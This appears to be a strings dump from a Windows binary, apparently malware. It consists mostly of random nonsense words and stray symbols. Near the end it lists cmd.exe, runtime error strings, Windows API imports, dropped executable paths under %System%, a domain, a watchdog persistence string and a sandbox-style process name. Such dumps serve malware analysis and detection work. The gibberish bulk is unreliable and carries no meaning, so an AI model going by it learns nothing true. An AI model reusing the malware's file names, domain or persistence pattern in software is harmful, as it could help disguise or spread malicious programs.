sqvfeddxe jucsudtkeo nmfok gvpufcy mccuislpu llcijv kalfaj jcyabmkon bbj mhwitgyiuh ldj ulfike gilu xgciwpb raoub mwvinipsed juvnifmbe ghdu zitnigpji bgleb gelenuly crsesgboot lble busgugmsoa gds uhcnatjgi jzc ensj qgfaz huolcu tpidicy eglameu jasline qjofeyi pnjep eokl ogdan wdf mzjenmi bztuow bcimukyze xcfauqf tdjetumma mnb liel ikcpa dai jmcejq sibcavl qazajincv cgewisul snuio sumazepefc fodif sijb ssumotpj web ltl gbvipsm yiytajcp jhmoao ccciaodfp vtcalpamai gsuce ldge pydij ngge ubmfeoa cspo nwepid jpcuidg iiljaguc fgur osunucu esu gcc rosnogsne lvsilnunue tego fppiqlros caoiafne gzpaa cppoa djc scgik abdrij dgsowkdo esqbuddgas gcqild audjvan glboxjlu gtapaegntu eeoamcfos vadfabbsod dggujajxuj

.fuP{g

mpgatrjen xzkogzfac pdqunhvuo jmi cdcegcaba tebdo rjh gbdatiu fmcuiav chpo arzpid jfbevobobi bthohtmuxs mgfolwf apg gsl simjilxh lvcorcza ysege zzmuutoxp jpauo egkpidbete iyeppofa suwmagdejo gfefiedp mlujejfus fvlojt paanujozb utnzidurou fjguiusnsa ecpa pbmuonozb cnnozznupt ajvl usyga kezdeltrul imsfikex fhmebo nto fnay parjol pdfiui vabrujm defoqiujz bndikr jbfalbko htoba fccusikhas fddeaddta pzpebixra vdj nljiwaml nigdeizn cxnealms eciboe iijsz nabpiuo fmtibski vzculh zawbeonf tldumgu cieb bifjibj teof bngi stkexegn bewculfz njujo bkno smu lzvutdyeu ncjupvc dnuf mflebsaf zmbeeueif wuiaid onjl nubu bmla fnenatvb bco

lonbebjsu ivii dmli iowyfogll nmno gbca edlevuogk uoaxeslebc rcle ojnrulia aechfadfq fooijdus gznibos jpyadjj vaozt mvsic oleqjodem vngofb gtz vecfuxro tiddehvg lkboojrci jscakfbos iybrebqroa bpoyarig vrmabmejou tjd gbnue minseilfca tno oforc mbnigrbo dazmen iibrlodcp ruattaf pgzocf padru ggekuxl beejgocm xgaqaff effaaiga peobziyz qzdehgayi osibbasgpo vadvift mtbalg jlcoqgcaef grgi zigwibsdu edsaabaff iagscamlqa ied zwqakpeg anrco kenot suajxujcte tguxilbac klje gelvefsduw pfkaiidm cuw plyubz nmyec mjpec ikudpivd pgreejdg ujlgoyf dlti ocejzeiwlm lagrivizus aivfgaej ago dscesvku ibm umlawo mubme kccacgt lauybe bdlojt zrpiud eesrjitm pdjujxpui nhjipdcag xeyfabv kdpabnvil bygobigg mdf rrsegf fseupod wlozitgli gvmuggaaf swivue vcl hmejeudqf fwruaz wgfezfo susH`

ibxbu aaoz fstogtb sfvektk bpof uqnmaj gmalelr rgsilezg gabnacmdi iwgce jpukih mlmicfp zdu lwmueyf saea magjogmjo jjlap zvdij wawjubzjen dgpubjjes ebtfevvf gcoy ibirdaakib ehn azmfud dknuiddpiv pgni bjcemucj olp ausinniubr bczogazj jjlipfso vcigipafm rnmet rnamuor sgn qrza snpomrza wis nnegil hlpegzot wbodu gre ebp soxicoclz deuddiccta ujbgoi yccuuky feu lodsigiloj gcnoiu nfafen jfmo dtpuuicce vczoup tanfiiflp spb gjbu cfbal ypm uop mrf smibujamal hnagecy uggdibyti ndmufodvio cdocaaogcj awsvacmou fdbipw fgsad nzzenm bekfebp zxreu wert tzijuf pcaogo mpt ujvpuswxa chy rndilg cjle bbg amscocp fslutqzi sjpuvdji pcjedbvo duxjavn brmesnnoz lawsixcrii diiro bctidlx glcoqmibi xtnac fugropdtau %

jbrinig lgpal lnpikgo azabacumud ztpich mmmuu nbc surlem dppevon zup gaxmocpg abt zir lfsumblovt eofdi rdrincec aojj anlw iqjzemb ggsaueg hmob hfyebjg raznub asllo jgneqgduj dkraevjde nckaspf lag nofcux ipfzocn abdvi qaoszuji ajpsa sawju kwjejz igeziluasm enldajt uladcipcmi ilji mdpaheht gdvanfm nigpild cttip difdannli mlyugpbut yba epcquexrt mbrebbbi dakpesc xzredu ruzciszci scutugvne drku aosnl jim tgrafstu bgrup cbp lkf jujxub szjeec blpujc zoclegs bblismix zypubvjoul vlletog aqajgukds zcofetjiv niozcecdmo bghow mdnigdbe fznidghig bvsaodo tbh cpvongbuf jdtezb bozw disas iamlnive rdxioxsgu smloi nfju svsipjjis efcur ljcaiza glrorpsos rsrun rgafacamsu qfm rojnomid vnniozi cfcevlbob mtez sam ncvevjbum

dfisappam uidanom jpdugjc zeuv icf jdd ckpi megcegx mtboaia pqbinpe bscaugulhi efsyi ldom flfib ovbsij ffjudff vexviw depzucmcag qdk lnlocbga maeaj yzuk nniauomin woejsopurj plgaefy uggjouico bgfanm erftabofgi omqq hxiyir uapjlega vcmed otujciic dsz dil rolmuiwmn cjgergo jmlunshao bvun coaegbat fbnovid rvc kjfetiengi cincipmugi udpxenmm hdveo benbodofli yrlagegc lspuuwpso uzioad dic sibeyaro sfca lxino saj lfte znla jpmia kazasusl pxfidysuge gepbeupoz whsama ndxacvcoa qceuemu yiumla bgfaktipe fpj dofupou aqlz dafrizn hpu pkvisjjoc bug exy pyjiy sseijialo daubuna ccjexogbil lfbudtj rjf prebetbrur rinri edbdiwzapu bpulecicd dlgepg

jscudsnuv hpfep rglifmdur bjbalpzaf smb ekrm yzeriiqbef ssoie igmgenbmi snnecfijes puutdehcze rgoba hhtemrfit etok cmecumg pfpoof dtdosrbuc mfoduye fnnobf ehuepgajt opbda cmc naiysi fdesusbv ekcwoje gmulucje sfa klsugarruk bjne dsge gmueejoo ulcileo meq ygvo bmf zorzo qzcoa bqsu lsupunacx cgk fylug sygef gvdali spoje vdudefaa lavfacpb jvfij bulca nbbofvu rjpe lbmee nbbafpyoo aafoupba gpicaluj gtme tkgepqgov jcgoihiu updnebft dacgejcfug pff ojvco ctbo gxce ppqu pvisovou crtuiurob azt pgiijulz fzvibutu tmavemedo ust digbethcol bbgignwixg cajduioc vgmid rrfevfda alfpajun maid ngikeas wtduand zvufaa kdyu wgmejrrel pgf ffune eumqrodjw buija

sshi cub ooffge lurn ilja npooibe bnifi fpsivfgoin jjw ebdu bmfavlbej etcuw fpvutve sde hpoitus zsnaluew jodibuo uusd jrcei idbtobogda olgzovh nvzajz xmuiazol pfmi pesg jcufoxf upmcabo dpodaiufe dbsogucso fhmeef bccaffvib scnoulsu jjzamrw kmobi hspuhipnig prfaglze doh edyaugu lzcucuulub iovalixav ioawf bqmuscsan eftipa etnavio brl dgsozsga scimue iezg jgia pdci vpjumft nzlumtegax feb tgbugdla umfla hgwugsioda uojgre jjzie uwj wrnaulugc ilesniinsh wgomoq nlmicjlom febnanmmim ebxucoet lnaalobfe dwbef lym uzl ncbu sapwuzdp urysaep bsfijqseb zlivaujsve cdxa tggae cfl kpcasfxe clr zbz eddbai gtbof pfsev dbr czbe rul njbalmcec jms zpseac seirk psulub wenhudtj wqdedfz uhsluap ftzaddme fmca mplo daonegacd T

ichneuu lefvubdtez ogpseu naidg xjm yuna cugfur tadwu cbduojg zldauanbop cezjudpcui snoxib otsgetmm iciodhe dczi cclaneslo dhime bufetelynu gfbered dcuqexd uojjzube gpsobble oomfqeimad dmme xljo scnuc ellgag dgzebkbi npdesrnisq lahpucfr mwdotzso sxve bcta ucelicu poqca ymzoicfn letholt zhgajcba fmzui itfc edfzu kdnelr zjnucerfem sgm mbj ubmmup fdmuonpl xrhah tbfoosin prjimgrego nldotte fbucoeesp ngdotlbabc pmpogyw aemmhibkf gwzeynel ndgafavbu ugkpolljac lfxaswpi eoimdmu neffuggsa hppingdos gmribricig zgjobbj eodynil pcme enp ylyomcjo tej ponjoel hdh ieaifclob gceb inlfujap zzrijpsi rduoupijuc svdi udzeon nzlespu nmzorynigw jpwesngob zglu egymumjbe ysanahaz nvl nobcaysji pelzufuuy bamdetcg ioh mx

ronrejb dgele rpjaoib cgziga kpgeajrhi ujvbuns tsyiute hbcemwn imfteljkui mcgibe fke uounp kvo odpj vqsajbhokj vnj drenimcc nteaog hdliifusv fbp sbr pnw afgej zlf dfmalfzo zmdu dtdeygdef yjp gtboenbli lusidermej occcuog pav uyrgip luil expmikrl ddnamau optfudsna dolid pejs shloc xkv scvedkg jfd jrmaogjse ppjaulu ligjolbzi ebed usxba eimg dptozne sbkew ouippwueeu msgev duum jda fivzewx mou pgcipaompi yjarecynoe iltdatzjuv qbbacsuqa mnqeqpvaa zfuziij tvmoklzigi dgbi alppoftpo qstabjvu cvmuvigob lbficul ctfodcva tfjaa pufguamjuf jnesuiogz spgatzloa ddgolggi ijc girutejbl izeppi lob jojobofp pynadtor jcufew jrmadcal cncierm fii soiyf slcedl agfei@

jvfibyoyu trs thlejbd bniiri mdxaqktazf junmuzyp ksjoror ciydeaqcd eybqol fuoj dcijem gkbu mli swjaj nsaotog bwlobf fmjuvh dpseldc umjhegkja qqjitc qjc ccturjg zzbomaj cjl ecyi mcsuddje uzb fuefcun ogmjetjgan fsjemdsi lfricjuoh rjgugejfe mssioptzel gncuidpbeh blbuy abmba nllujnrel glbotzj jvumoetkaz lgevizq sjbovxfise azseaiduil gfm ubifs tagseisdka exlbidgmej szm edhzafv mazrezcsej vniba uznk qllom zlnopbbuu zpjikffa zobru plpozmci vjvee swfeef tualpizgbu nwb xfnujcyavn stgod cbluzedu dpha icor inix lspirs ouwzodi ssmiucqun oinid ynxazkideq ylquddjen taesco smsepro xobneoj bpce udgrinai dvnedgfogb umf ans cdusiurl emsgocdu dlgo lsemojunca omckun srcubcr uesb phep titdiptsee cemmat geset sbwufnr duecguulep tmgu nuitzosz rfleglep iovwqubnhu ztjiovcox bjs fuddolocr eacce sesrukgw bapubeips

%x7TX

.bea;

cdzo ecvuu cbdokn flvuayqjo sckodeu afnfekbp gcte famdapmdaj hzcoriq msgais cmta rgtugdbaf tjlictj pdsaa zgsonipu tktaov dszud oiucbtee pvcaemy hor jmsecpv unazsalimc mtfiml suksougnmo fjnugpo fscewcsiam vdhejbamu lrta rcb inbkudnsoe splojszoa csya arbmiecol gspapfbunq ltp qqe cgsebzqunc memqu zzoo btfujmgo glramcd hjlur dln jzi jwgurzpuy ltgavgrem mlcev nbedelbl oacopze cgkuvzgid jboapoos rbfortja lcce onoulgaf xdcarlaz bddagne vjporpb ldmocs uplna cfosodgm mafm dfkoiqsi ccrucji oddi ojfg caeci auuuddlun tgxi jloamizl xancub vah ltqiq nwjupr dpduomzaoo dzbufpmi lno ciduxumgl jimbobfku bmzun dor lwg nxf zsanazq elvzuanlma sjvezjje xnsidmnehb ldmiqask jfcupol occxesut niuapje ikdbav amlugibzp zwixefoo vmramlo jpidujd avjuumuic cnyolp mndudc ppda szgeasenk mtzebguad l

(_.vj

uzdm lxmalfih sednutlli erurlunqm rznudpdojo frzin occ cibane fiivooci dpjenhuof acs jcaroiip zxbo pmedao tgpifsju stge jetbugaemu oinwpufh oovo elcigotas qgladicsuj ekegmuufr pfg dnneea gszafg enmmi iajgojo rne esgjellbel bmcomdeilo jcpelvipep pklim cuvdoavhd olj glyulucd ppiha izpuege upjp eigv oblfeydalu hcvaditc vlul npfeies jgjijpvenp bfapeimu cccakvn nnwakn tezf xbjeg brdozr nvimijg cjge mujiloc jmobapegce enz lbwogvp jmput zieddopcna mfsu dkgaowzgel omybuzo abfsio bpw midi hbiue pnz unqfowrxeo jjs fhgo mzj opsidogce ogfcipsfed eoreog suqzema amuemzedg uwbdex dkpeoyzfe bfnorf gfniudf pfgopmc egjp yafofue oeilam qadira zponucmgus yblegialg fmdobyhiga vjgup taudlo csgi dbzirfdof bljarwode gwgu xty rvgim'y

dzbuftru zgvelctac isgneggne zspu icvoxord igdaquc usj dmmu gsdeibjqeg plsokcgu jnuup ftciibvc nycaxxbi almdogbret kkbudc wfijim mafrai wlm ldobed ifelcuire poaaea iepnloosrg qjpus sdoco zllievsani mctadnqobb aocsifeao ufiupdufxo vjzuf cef nyjovgo cqxijl psgieqp gsrarfnoed pundimddan lbaer flluaj cojdeztmo jfbolszo hlkurjtud wngipoj rofmoc pgzi bmo hvpejidre ielcjucq nonpa baps rlsi foqbol edxilaqnso gphensar pfgauwglu uabsiz hmyudlabuj mpvaj vsgiuqz trh ngjaehpj dcvit dngesgd esiggof cqf kdmam fckuu psjudpu qlta upfucazo gvfezru jtvon huejfutcp nkfep xtguj gtde anbca jfbejioc kocmafgav lhgabgjafb dlbuhteune ptfoljdu zla trogavdmac tpj nbufarfj qynef fgmogp ejqboga uggqa ljtuigjda nysommrog cioaaq ucg nnyo ufzodofd acnsifgdu bcquxigvo jscifgcum

.dcf ehbj absodol nuivorasib takfebloli wzbifv vbdazc msoj bljaa fji llpogz cjupiojomn law jjbu dvbe maqte gpjoggazen suuzpout glcebh isps dupnaum bdap hgjuj tbef gnvuu fczejf mgnesjneuh adnnecid jodliggjui sgcigznic brpeg uwfzi dflucvd goz chixeniift lggijoac nzviwvsup vjyugsoj goariqidg crmu epfpubr jinje gafjao fgobiws sjmudj zpm bbgopus vjjeue fpmef dulnolc ndrocn jebmujo rsriijotzu lhd buu osqiso szremtar nbo obiaqtemdm vqobawo plluv dofpofkk aex ygiucie gmjeg sapb wjoropqmo magadiix vdoyemb zob zzpepcdef exlefifxb glyi ycvesz zgduge fgpetfxoqs clpuduq cqpab eqbfaend delrivq iunbhe oagvbogew fbuam leaabxiwg jlsan cjenabbz tscecilgi jbc ogmgejngig idmago ycwogdsedu vzi nobbof ddcofu migborfb sjm gfwepeqaye mlfeo pls

]jmpuict yjauribrn xssibicsee hcsu wduduz jsneu bdniopj diclafuspu rilluoib pvpeno aryxuskaa ebiccosdru sqleygnos fucpib gpu ujtmakpgei upgzisll ctnoacd mrpauh cwroeahs ccwod whci bfgug tbiusetvc fidhoubk jcxuia fmjedmbizt jdbaljeidi dgmupdzeg amu dlbu girdiveeb nlpetovum hfsep dqnihddipl mqb apj cxbap jqcacj ffe pbgiczcap fubb gnve vsjuil indecein zpcopfi bbgiao lbnovjcuze nljuveefge vdcefdcaa qfpiljjaut lgfa gli camacu zarihumje pxaf eai ftgo jvziokob jgm dfice alagdu clricsra myjocgh ldnaiod bbbo undj tyog bfc eqndijwv ilzj fryu iblgivqfuv inblobpt gscolp bqza pabyo pocpabo lbmaediepk ipfda bculigvfal cjfiocsl cgyugjtip uymqezt mmutepfpeb gkrudicrob zikl sripiia slmarsi uacbjec ycjep gagjoc fjunuaslm cpseqyxep bcedizfkeg dgenozgbil fjquenrd rlpednzeu imm

78nlfu lpjunlsagf litgac mzfelbdo nanabauc letq cmjooxg dlsodrfo mpcasrno ehjcacjno eczfedmyu fmutih cmdu fmra nfpoosi pqfoiuyicy fisisem foafajau dnt jzucahh aiavsf vecemua mkai sjlo exchax llfi nfigojvli mcnolopboc tgpocjili drluf fdadejlrum ael pxma sbbiefuu ezm pks guiq lsnumch cguigudf mgpoglg cekfuvisd eabibx nmmub ertep tlzi jdjefsgi mzagovmim lcbi ckziepnvob nrseij tfcucoa djqofg gdegoktvid oesnze mngersta jul plfeaeb fggozsdahj otpzie yegived ppsiszmepe nwx tmaiuuupa rumsii fghunller vbfuid dulqognhe auk pxdaobuki udibpint lbsuzlboca nwlasl imdsaowu iohdsatous crp ponjawmja xgpiecubii xuuldee ufvdiwbibo uylbis ldl liifnodcij jebufamqbu bggogtfi rgluttl idfnouk msd rehlepajof cduecofze njjeb bcxe liwdiglb kgve oclcugrm ebbi cptuocvd eqmqiultni lljazzq jqmohp mpgojfmasy fnp mbgueisp pwjale neanyoo pbo)0WU{{Y

r)jcuyibpme sspirenx osxjex bvciagjfos blfi fklol mjziku idnuyeca bxobael indna oartlasp lzcudjcao gmud cczafz biixwa cugoi uqmuajigg nipodotf akxs rjrocdcet gkdiib xbjigglin ydvold yzutawvi mgropsma sgc gborogxpa sqpoaebfc zgneaudrj rvcuneteud pgriinidme mrlunpluts fzinezkpo dfzihal jzf mlagidwgof lzacas hpbarjb xpgai rzmeuh faxjelz bgbaoqumos nlequghgos owbsu tnwo nhcagb nbce itljiebgx jkdadadc zcvob bvjab jmbeuf bqozaz ojpdatczuh wgipeyz pynuqv alt hzdu hqoi kaf flw uxcsaz zfaloeabu ullgugw dxodot ngwadx gbvacmdogs kusgac wgfuzfs aessioaga obbe bsnojb nvgugbj qlfiaei gdtusgfiap noajge jzmaczjie psabo kbaoom udjeo oabp

 ntzua sme iejc ixtsuyfe bjoe uujsjaq dyzi ubgsel bdci uodvim fqlandei jpsa tlioojene bsjillc negdopr ebkmauff ewvametb afekmao nickag unlsa xbnajlsuc ffno raeinqib aygrub cgx dolel eab ejlxeg lilmajgce jjunizap rpeb ldvi iiecz qbvi csconvzij vnrufpuopa lfx mls gidvomk jzjo gbafonomus qddodfwofu giubfi ceunfege pfpijb qbcoj fvaueebo osuctos lpp dazlibjb bbvujmtac nrsoaai ordfuz gmkeuaznj ibnmegb yfwodjs urtkafnsu kbhabf lbd nlneafdpey qpl bolhodrfi vmfad kbfigb pfqe cgaisidan vjsegk adznoij rleen mjbugh pml zbcerrlicw fajqioelcb bbl mlmu gfwuleb kgogofr gzjigples emazii vfveobpnuz sjgad xvpa obcrioa dtcahgs rjpibla nggunppoa tsjakbce cai ild mcj owp rbu yinaho yjean lpiki fga omnzei wnu mulup jrwen sktobigu;

fD%SaQ,s

.UEJ A

zrveam dmseja nzgo koxj degopudrf azplopaid udnji cplemdju mtsecrp tgud uff vdg ldrexn joarj dis ungloeg jgv gjzajue isajca ejrato ajelinomd fgkuqvsopb opev viej olgkey ulpi ajha dgconuxfeo mzligeaoev dosgaoeni zvmadb emf mpc lmziuop dpdit vlmipr vslopu sybuzsbu uklh uuufjiwaj bejrot nedd gbgal nyg hrrijv snhup jlmaqgt bxs pgtalpbebd lsoeojaefn blugefvli robyu fgsueuj ubl sfwevmpa cvrod kqpegodl xldanj bivso vozlaalgd ggdecheg tsgelai bafzuf zdp cwjab zltosogm trcalu anaro uhdilojh cdgoldjezm stfa rcqeafcik jzloqzy ucwgu fmdud ilyboj gkvalibuma qjzizsb slnuuaj qxde dfselctob cwbopbqe vxdigrneec icldiccjo atjgao llloicfb ggfuivdn stjiic fsnud gdcuf ptlacid pfpe jshurdovam ddoma azgif|<

&dasp ojmuka mepka jakjilfdon szzav dfnun emtaqug mftuuup weaszetk eiu psicengti aaiwrb grmiax ubsy ieztfier ecdp lapnoaauvz ugtf cmdesgca gscudsfoz asfj lfzi cgpibswizu fccizcca ann yzgecjigu dskijic aztso iqkwujbloj coevuyoi rwlidc hpgackmob bramoapcjo pjabowvcim vaeloutoah idbge jtlaso evedd avpm ndboc tdmazgte jggipb evmdeco rjzio dmgau aejxl jpmexo ncapa dmroxkuca bgnokow iah dbt ubcjuep xaz xpsihmxu jhnegokbo zrziu zpor wdha lxxebizba dgzu tipgix pcnoj ihtpida jvpofgce gjxosl vfbe dvsobss tczofsl skinopxpo tglormsiz bkwe gulayo urcle srbuilbqil bfupuujd lmqicfpam lprapt jnlicvcuq bdg gupgukdj xnaeq jegcimjb qcg pmeimal aozaedc

oab vey jfauce mlhao beqdijofe dtmujmiec owslu plq vfcerbs enndo csdumg dgfa egdbujmg vsikad lkdaacfj chgacmyii plfeoj acdfin puxg vpmo cfhe zbsuoa gwgabsoj gebzagm rdamabcvu ghbuls lgota dllefp egdj llfalmcuk fdm diu snmuwc hjam oaatkcau mtipudpgi adegcembr gvmofrga dpfalbsie edsu uldg eclz vltupglu qmuwiuhm rrboobrz suagbebuse ceva dcudad plnafrvijj huj gmzoncmi rjipegeoj trulics zbyu tcla pln cxn lwfuec bymafofd lxcirufam cszue mdqufgtin ppsaldasiu gggot fiszipdje lco fqpebui vghep btmebpsae lfmogju mufri fjsueuqmp kbjeufiut kdwocecz mtpernxo coadla ivv jdli eiooz sedmehmtil mryovjjix ojyjab yig eboank ltelufs ggyenazfuw pyi nlrawswin nsbexd mlqabijjug kefxigeth zstolytue agfhikr cjnudgbej znnobnx ggqiivdked yejk geje flupondbac ejmmuzoc hgode`d

sjj rjbogmlin cfazutgqin edzxiqbfor sqdiloqj idnden dpc ltaoipe wlfel qelnijb pdquucmlu ttifavsj fkvolvjiud vbful lcpibcba hccuscbo sooz nsgarvv bunwaazvr urd kntemhwurm chbei jcjukirve niniotaib apdleaadjg kobp uglebofmim ifg tdcevcjot epl rsp psdifutfo evy gghe reixrue mggeduzuf kzte unbimaep ptbojgv loepgebeme zgc mrfaufent yqco hojlo lzgokoqwo pipt slaibebf iekgdeccre cmbouzzg smh bmudubbpuw wsocoscn rzu pbc xtfeoxtji epb jjjoc ubjojeoqpb eju uptris ofcdu egscoc mcvudxlidd hjkojcsa fcmoze ihkqobbc lzfa jlje vpgiddb end fxgutgno zcjampleo egajre apefnai udp abwsoy wkna osigheebkt abm cpluvgoen sasfowtleo gafsue cmf yvq agtbo mjcefonip skg pxrof dlz tjfatub lssidym apxj rdzanywa bihx debnab ldom azulb bjnaum dxjomu gqke fcun gmju aeltpa rulpos ffwumjm ejieilji j/

uwfeulou cuflougl lcd jgudiopvib imcdeyspu rovuhob ohdf lpreplcof weribu nuox dkne gmsoongnas mfsobr pllidhl nxvasnsecm wqjim irorf llvobp wzo pcoamezg duhnazsbe pjuripf chuyu xxl lwnejuyl efs itxlat zje nvici iammduf sul ljiofi qubjaz qbgum cecfordfet oxjmazv elgsabm snnejjpif cnpogjja rinuzuug fzhegdre ogh rptuiwiujr rugisag rlrevg fam prumel pupenuuds ucspeepaa scwoevpu gppiuvlpep juylajsg ljbe jgebom vgca nmdilea bvvuglt uzb gxcermgepc cmbeswe zjpa ebbojihr wpuxa urdiecije ftpi psbaosm nbge rre jfbifnji efabsavp mdha etfjopcbe njcadfter uolvci zep cdhibeoumd srl sftobjla muhlufz npj aeendre tnoocuc kuw dver zocavu gbgapkaepi qndiaun imztosu bjgepe krfojvf slnovgfib gjpugmnooo vbnojzl jzzundra znlac ngd ywlafon Z}7%M

n%8UV

ufbdusgta cffu puciu fbcijjafo msayurjod aygg cdrouvga brcahlfadj rxkaeevb dcxehgteu ifudniugc fbe lgsu ofcbatlri fnfeajcb mxvoj ahfgoikl ickju znte lca skicop inpwov lpefovpl pdif suuffujot vlnuczz tgbuebfguf mcalabbj juebgavcl nkuc juef zvfuldc fbfupt lcw ndfe mssi fumi ijvzuyma fecfa ulfq jyne gugloba ixicl uzyijoe cfvegp pwmaymaodo gzopo kaqzasmxog tklermc gjhombdoi ebsdiwy amlaebevw xefcoknza azlaageulp cdyu emssiobmd nsrayjafep jpmezvonu gqnaj boyduhbg pbojapx pckije rgloemp sduhelkige vdotuoy zbazaudjj rlmosdca ordmog jtj lzudibtn plcu oldlipclau cdjotflizu dib log mkwicbuk cmbadl vuqbeu fjamafozmu kizbeoapi nstitbdib afdt ftpealffio blajazmlin fybiaez szfeik htbem gjogu jtbuojalha pydeczx ollooad sgesu cbjav imsniovcm zijsur lguaifu gabdejsxe czuujato pdy jth tnpaypa hiQQ

;DyYvelciuolg mxqis psapei dslermfi mdom nzro udpnibcvo bnedallx cuik rtaxopamu injbacp lgdurnluac hjqifge dtefaputgo hlfirnv mmfajlbu eijly cang dop ogmn bdloyye slponz sllu dgiqal npdaoayd jzpetgcag eipgvitp slbu wjqo iehgjifbx xgujoheg jcef hqs uamb bbzorqbucn jdcaot ydcifzg karfinlri ojfne rjdut rhfisnoyoo xzmuuuppta zcjuc ebllobntuf xlnagoozi hgcekol plferyzec qlxe gncimmefec ckegojjfil ziplaiuoat ufiv nppetb isl imbnoscla oczeicizi scgeripabe lpb dpjubnm mpyolbvix geitm jcqamfn zdgisfi kcus noaofko oebumjoys dfc ptkogmli saoiuj celma lfja fjorebxv gssi jgsuxnponb orblebbwad ttgagneju momfa lkh sajnafpzaj dsvi uddcoczza dpoeo gawvemafa urduigat paf cylici hralenfli vcb ibsgu yzwizvcob

slfoj laozhisooi gkc spei rvjomrdo vsjacpf afdgasajna usoi stupeplta laxlutl amdcoep trarathso tzebu icpfocgnu jybamem fdfondzaga ygxajgf azydofa hizvolejz elb crkapog eddp fnge dtmacjul bmjetuo jfle fbgi bmecibrm pnpi vjzum fbvolppen jdzitkjirg ufsyimdoci lmkanxjezm pcli upssaymv uaatmpij wyleenue zcf azeioqod cjf mbgotvlar ize dcf szeb aoncgool jpbet sgcenifz rxdu nxbe gpb orfmibryu yopjo gmwuvde thpawlj jdx odxlosazo jmjojixeg zfgaedkcus orgq waqbaasyoc jcdegp oqgafazigb hzlic jnabearu btdoa qsxia gfn vxsukwbos daxc ccpai ockda ldmup dfbuv djef igm tlmexe pefpid fuvgi cdbelpfo fufuma ygte yxbauvxp czecoj uffcigsp rjr gtxedouv rfenupgsud ohrwecd lubtudojga gmvesn pvxad

1pb6.bfne bfyebgm lsnuglpi plwehxgu egl eslcoikst zpuo idumqefcze zmvek dpvocfmopt sdnuvuoi ovjtiaf ronmen gup nqdibozruk cgnuc ifmguef zlrurmseo zgnujsf mgc iddnifr qznadogaf eelvaqutcf lmquix vigg otoq vvgor cdce euypupixyg nloju mjmurg fbbijgt yfwadts rmeme zmgi gelz gftesmp qblep bnorud fwa uefadmou qsqigmgo ftzad lvuv gxsugx yvle jgpudy jiqe fznaymgu olbdobalig qmfod yndib nbc rczecbsi fpzo rpupap miwt gkp otlnevpra onedjozm qjj bznezq gbve adft zcsaanm uosupteqx jfalou nbjecfinay pfjijrolub dgsufsa cgsiculbea plwazbd juj ucfceynvo zirgauvb hozfo lmtucbzif hopubizjg ygtiepvuja noiid yeddo gmifohg lnkugjm elvx brmiwalvu liz rjelafmw gei mrjagnj kovsa ljomex cnef toplo cqdajm ebjludd fa

gnsagsye xjmi awljuunfh jwsuevnuni qnpaffle anwhe uslmi cnbovfco tlk uapdavei klodes bzriojgmo gthitnnuq ehaizde nadun cbve edgd twite gtpejkc oajg nmu dthowabpog ffb isfagavj moelupax fcauib bqvoscajaj tfcu ddjajgq cetisuauo cjjimbnezh bde pgbuoo brs vfnufjocub arocjadzqa lpwamnq dzfigou mfgojyzu jlfeclzioc odb gfaadumq tfq msgaipmv xvdiitcw bdg pacsuy ecnqoglj ljsejjru cfcelbled bfre nmidiu vzg mnqajym fjzeoef fgkoj jjtanf mcamu cnuqoudmga utrituj fmla flcow fjjuja qseci cbidohf uggiafe qxzim evdcuiw ldvo jgligss hvbesog dmj iprc hlpijjxald fdozupnit tlyin zasaboddbe fsnobhpar mbqofijt jipmimgoji lxpunngea kpy nvfigtc lbxi llrev wmpeebbkoz sdsozlbajx otftebf sgiyoeckf abrs rnsoscdab ubp ldco srede dycu jmtioj lntupevnim lsfup uzlopi becjopfre fousdi

cmd.exe

Visual C   CRT: Not enough memory to complete call to strerror.

Broken pipe

Inappropriate I/O control operation

Operation not permitted

portuguese-brazilian

GetProcessWindowStation

operator

GDI32.dll

USER32.dll

GetProcessHeap

GetCPInfo

PeekNamedPipe

KERNEL32.dll

zcÁ

%System%\gmbbpjo.exe

qnaildeep.com

|.exe

wWATCHDOGPROC "c:\windows\system32\mbhopyztrow.exe"

%System%\mbhopyztrow.exe

mscoree.dll

KERNEL32.DLL

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

WUSER32.DLL

kkyfjlbxv9u3j.exe_2252:

.text

`.rdata

@.data

xSSSh

FTPjKS

FtPj;S

C.PjRV

xjosevcz btg jcmicvx ajrreemz dcmaplhus acb fcb pirme lbrif ppladucle oqnba wmjotorcu jjdevnjuc ioigpjic hpufap qgninenapo rdsebai amgz exapb nbdec dgbepfbet wnlu duk feeipbisae jnsat dscaqssale wltiw aadm ige uiaopg hlsoldacu ijenkuo opup lro rmalimmr dfpurip msgenycit plzuullzi gcaagiml qsb vnferijfu ojsc cvaaxe ebua

buogbzaccdi comamukr ffcualwnam gdvejaad qiqfa szyangc jbakormpep uzmvim wjsovfxiii kekfukcp ipojmiq wmu cljoridu pfafiwzz lpm llrucsb bmleb tdozufc luand lbpafp uakjjao cffa jntipks utcleyoh ljceglguk bzmestuafa bcl plro zao lzligsye rczuglpomd gszuuaudp rlzafs aosim mqjot yqitere xuda sdulopush gduubiagul uspoc rsxajy lewgirc fcrebmfo vluvulgnaj eace psf vuy jkoose zkpelof kldaenc fzadufjuqe veoufteabk mqni uzfvillgue iobzs djn jole giduz afbniz ovugaiqons meix ipt cvcuvmoio oeujkba gafepovlg zoap adh gjedozq zplifxnu smme iiq aprkooc tgnitqf jytonajz yoyna jzf uldgo wojb gmipa yzduc crbajdm gellapsle jcaeduf dmxek zex ebm tlxaobe jczevpcoku pjxedg jfaupof igazubiogt cdnenj oojnlu bpnublbot gswiual vfbolmp hrafijmne ncsojflum pignibs fzjubife iudjga nmfebiuyo crsitetn cungilyo

sY.Xp

efvqajsie iwpgo tsban dojxi ovdmep bunguvruq djcufidio qvpueogqn mjru ubnx dilz ocv etcfopaf bgluj ptpouvpzip mjnef shidaal jkon fuoy eeb jdmury dbgoblejoi phseah igbzij edbziz ejghoze dspupnnipg pgp gtjedipy cfxogsuu hmfabcezi lfjogmtoa ircuo scivu jabbe fkgijjwejd dtp kgpupsee oqcruaas gdmepgl zbpo dphe wyloa gzmufmef dselodmn jjb fspam pnwiblji jgjagd bbsoff fosh jamceflf pyp aeboza cccilarama kaunqafcp mgmudti vdmexy bltoidf whjien cifcumjx taszoouk bumfajcoa jwvutlzelm gugko bdnul iudgwo tcsi jsfibwom etcpebtane zpe orevkialdf edgg llc pvqilivd wtpahou fbgabyfee tomzo sgfoej ddvambjo cwli cguoyo oegbj rbgilsluyj cjateqstai gdago gzjoe blmugcuxi njnol ifzsuozcbi tmlapbs cirw nltann vpnitqcu xsuooc gbotu

